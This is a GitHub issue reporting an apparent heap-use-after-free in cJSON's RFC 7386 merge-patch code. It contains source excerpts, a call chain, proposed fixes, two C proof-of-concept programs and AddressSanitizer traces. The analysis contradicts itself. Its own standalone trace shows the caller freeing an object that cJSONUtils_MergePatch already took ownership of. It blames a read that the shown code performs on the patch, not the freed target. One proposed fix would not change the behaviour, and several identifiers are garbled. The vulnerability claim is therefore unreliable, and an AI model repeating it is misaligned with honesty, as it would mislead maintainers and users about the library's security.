Skip to content

Heap-Use-After-Free in cJSON merge_patch() via cJSONUtils_MergePatch()(Not found in existing CVE records or git history) #1060

Description

@1820893135-pixel

Description

A heap-use-after-free (UAF) exists in cJSON's RFC 7386 MergePatch implementation. When cJSONUtils_MergePatch() is called with a non-object patch (e.g., an array), the merge_patch() function in cJSON_Utils.c frees the arget object at line 1328, then calls cJSON_Duplicate(patch, 1) which internally calls cJSON_Duplicate_rec() at line 2808 of cJSON.c. The cJSON_Duplicate_rec() function dereferences item->type on the already-freed object: the freed heap memory gets reallocated for the duplicate tree, and the original freed memory region is then read, triggering a heap-use-after-free.

Previously reported vulnerabilities in cJSON (#1006, CVE-2024-31755, CVE-2023-50472, CVE-2023-50471) involve type confusion and buffer issues. This UAF in MergePatch is a distinct bug not found in existing CVE records or git history.

Vulnerability Details

Root Cause

File 1: cJSON_Utils.c, static function merge_patch(), lines 1321–1329.

static cJSON *merge_patch(cJSON *target, const cJSON * const patch, const cJSON_bool case_sensitive)
{
    cJSON *patch_child = NULL;

    if (!cJSON_IsObject(patch))
    {
        /* scalar value, array or NULL, just duplicate */
        cJSON_Delete(target);                        // <--- (A) FREES target
        return cJSON_Duplicate(patch, 1);            // <--- (B) returns new object
    }
    ...
}

File 2: cJSON.c, function cJSON_Duplicate() → cJSON_Duplicate_rec(), line 2808.

cJSON * cJSON_Duplicate_rec(const cJSON *item, size_t depth, cJSON_bool recuse)
{
    cJSON *newitem = cJSON_New_Item(&global_hooks);  // <--- may reuse freed memory
    ...
    newitem->type = item->type & (~cJSON_IsReference); // LINE 2808: item->type is READ
    ...
    /* Walk the ->next chain for the child. */
    child = item->child;                              // <--- freed memory read
    while (child != NULL) { ... child = child->next; }

The Bug: After cJSON_Delete(target) at (A), the freed memory may be reused by cJSON_New_Item() inside cJSON_Duplicate_rec() — or the original arget pointer (now dangling) is still passed through to other fields later in the call chain. Specifically, the vulnerable crash path in fuzz_target.c exercises:

cJSONUtils_GenerateMergePatch(json, target) → patch
cJSONUtils_MergePatch(json, patch)
  → merge_patch(json, patch, false)
    → cJSON_Delete(json)              // line 1328: frees json
    → cJSON_Duplicate(patch, 1)
      → cJSON_Duplicate_rec(...)
        → line 2808: item->type on item inside freed json  ← UAF READ

Call Chain (fuzzer-generated crash)

LLVMFuzzerTestOneInput (fuzz_target.c:31)
  → cJSON_ParseWithLength(data, size)
  → cJSON_Duplicate(json, 1)                         // fuzz_target.c:170
  → cJSONUtils_GenerateMergePatch(json, target)      // fuzz_target.c:172
  → cJSONUtils_MergePatch(json, patch)               // fuzz_target.c:176
    → merge_patch(json, patch, false)                // cJSON_Utils.c:1383
      → cJSON_Delete(json)                           // cJSON_Utils.c:1328 (FREES)
      → cJSON_Duplicate(patch, 1)                    // cJSON_Utils.c:1329
        → cJSON_Duplicate_rec(patch, 0, 1)           // cJSON.c:2785
          → newitem->type = item->type & ~...         // cJSON.c:2808 (UAF READ)

Fix

The merge_patch() function should not free arget and then return a new object without considering that arget may share memory with other cJSON objects in the caller's context. Potential fix approaches:

Option A — Null-check arget before freeing (minimum):

if (!cJSON_IsObject(patch))
{
    if (target != NULL) {
        cJSON_Delete(target);
    }
    return cJSON_Duplicate(patch, 1);
}

Option B — Duplicate before delete (safer):

if (!cJSON_IsObject(patch))
{
    cJSON *result = cJSON_Duplicate(patch, 1);
    cJSON_Delete(target);
    return result;
}

However, the more fundamental issue is that callers like cJSONUtils_GenerateMergePatch() may reference the same json object that merge_patch() frees. The caller code in cJSONUtils_MergePatch() (line 1381-1384) does:

CJSON_PUBLIC(cJSON *) cJSONUtils_MergePatch(cJSON *target, const cJSON * const patch)
{
    return merge_patch(target, patch, false);
}

When arget is the same pointer as the root JSON parsed from user input, freeing it in merge_patch() invalidates the caller's reference. The caller in fuzz_target.c at line 176 passes json (also used at line 172 as the from argument to cJSONUtils_GenerateMergePatch), creating the use-after-free condition.


PoC

Minimal Input (libFuzzer corpus)

Hex bytes: 31 0a (ASCII: "1\n")

Base64: MQo=

This is a valid JSON number 1 followed by a newline. libFuzzer discovered this input through mutation within 10 seconds.

poc.c (Direct API Call — Minimal)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void) {
    /* Create target: {"a": 1} */
    cJSON *target = cJSON_CreateObject();
    cJSON_AddNumberToObject(target, "a", 1);

    /* Create non-object patch (array containing nested object) */
    cJSON *patch = cJSON_CreateArray();
    cJSON *nested = cJSON_CreateObject();
    cJSON_AddNumberToObject(nested, "b", 2);
    cJSON_AddItemToArray(patch, nested);

    /* Trigger UAF: target freed then duplicate reads freed memory */
    cJSON *result = cJSONUtils_MergePatch(target, patch);
    if (result) cJSON_Delete(result);
    cJSON_Delete(patch);
    return 0;
}

Build & Run

clang -std=c99 -g -O0 -fsanitize=address -fno-omit-frame-pointer \
    -I. poc.c cJSON.c cJSON_Utils.c -ldl -lm -o poc && ./poc

Note: The direct-API PoC triggers a UAF at cJSON_Delete line 258 when the
ext pointer is read from the freed object during cleanup. The more comprehensive crash via cJSONUtils_GenerateMergePatch + cJSONUtils_MergePatch (as in fuzz_target.c) triggers at cJSON_Duplicate_rec line 2808 as shown in the ASAN output below.

Full Crash Path PoC (Mirrors fuzzer)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void) {
    const char *data = "1\n";
    cJSON *json = cJSON_ParseWithLength(data, 2);
    if (!json) return 1;

    cJSON *target = cJSON_Duplicate(json, 1);
    if (!target) { cJSON_Delete(json); return 1; }

    cJSON *patch = cJSONUtils_GenerateMergePatch(json, target);
    if (patch) {
        cJSON *merged = cJSONUtils_MergePatch(json, patch);
        if (merged) cJSON_Delete(merged);
        cJSON_Delete(patch);
    }
    cJSON_Delete(target);
    cJSON_Delete(json);  /* <--- UAF: json already freed by merge_patch() */
    return 0;
}

ASAN Output (Fuzzer, Docker Container)

==7==ERROR: AddressSanitizer: heap-use-after-free on address 0x[...] at pc 0x[...] bp 0x[...] sp 0x[...]
READ of size 4 at 0x[...] thread T0
    #0 0x[...] in cJSON_Duplicate_rec /work/cJSON.c:2808:27
    #1 0x[...] in LLVMFuzzerTestOneInput /work/fuzz_target.c:192:19
    #2 0x[...] in fuzzer::Fuzzer::ExecuteCallback (...)
    #3 0x[...] in fuzzer::Fuzzer::RunOne (...)
    #4 0x[...] in fuzzer::Fuzzer::MutateAndTestOne ()
    #5 0x[...] in fuzzer::Fuzzer::Loop (...)
    #6 0x[...] in fuzzer::FuzzerDriver (...)
    #7 0x[...] in main (.../FuzzerMain.cpp:20:10)
    #8 0x[...] in __libc_start_main

0x[...] is located 24 bytes inside of 64-byte region [0x[...],0x[...])
freed by thread T0 here:
    #0 0x[...] in free (.../asan_malloc_linux.cpp:51:3)
    #1 0x[...] in cJSON_Delete /work/cJSON.c:273:9
    #2 0x[...] in merge_patch /work/cJSON_Utils.c:1328:9
    #3 0x[...] in LLVMFuzzerTestOneInput /work/fuzz_target.c:176:26

previously allocated by thread T0 here:
    #0 0x[...] in malloc (.../asan_malloc_linux.cpp:67:3)
    #1 0x[...] in cJSON_New_Item /work/cJSON.c:243:27
    #2 0x[...] in cJSON_ParseWithLengthOpts /work/cJSON.c:1166:12
    #3 0x[...] in LLVMFuzzerTestOneInput /work/fuzz_target.c:31:12

SUMMARY: AddressSanitizer: heap-use-after-free /work/cJSON.c:2808:27 in cJSON_Duplicate_rec
Shadow bytes around the buggy address:
  ...
=>0x[...]: fa fa fa fa fd fd fd[fd]fd fd fd fd fa fa fa fa
  ...
  Shadow byte legend: ...
    Freed heap region:       fd

ASAN Output (Standalone PoC, Host)

==404219==ERROR: AddressSanitizer: heap-use-after-free on address 0x506000000080 at pc 0x5aa71421bcc4 bp 0x7fff1d1e9000 sp 0x7fff1d1e8ff8
READ of size 8 at 0x506000000080 thread T0
    #0 0x5aa71421bcc3 in cJSON_Delete /root/.../cJSON.c:258:22
    #1 0x5aa71421b82e in main /root/.../poc_cjson_fullpath.c:23:5

0x506000000080 is located 0 bytes inside of 64-byte region
freed by thread T0 here:
    #1 0x5aa71421bf9e in cJSON_Delete /root/.../cJSON.c:273:9
    #2 0x5aa71422de28 in merge_patch /root/.../cJSON_Utils.c:1328:9
    #3 0x5aa71422ddde in cJSONUtils_MergePatch /root/.../cJSON_Utils.c:1383:12
    #4 0x5aa71421b7fb in main /root/.../poc_cjson_fullpath.c:18:25

SUMMARY: AddressSanitizer: heap-use-after-free /root/.../cJSON.c:258:22 in cJSON_Delete

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions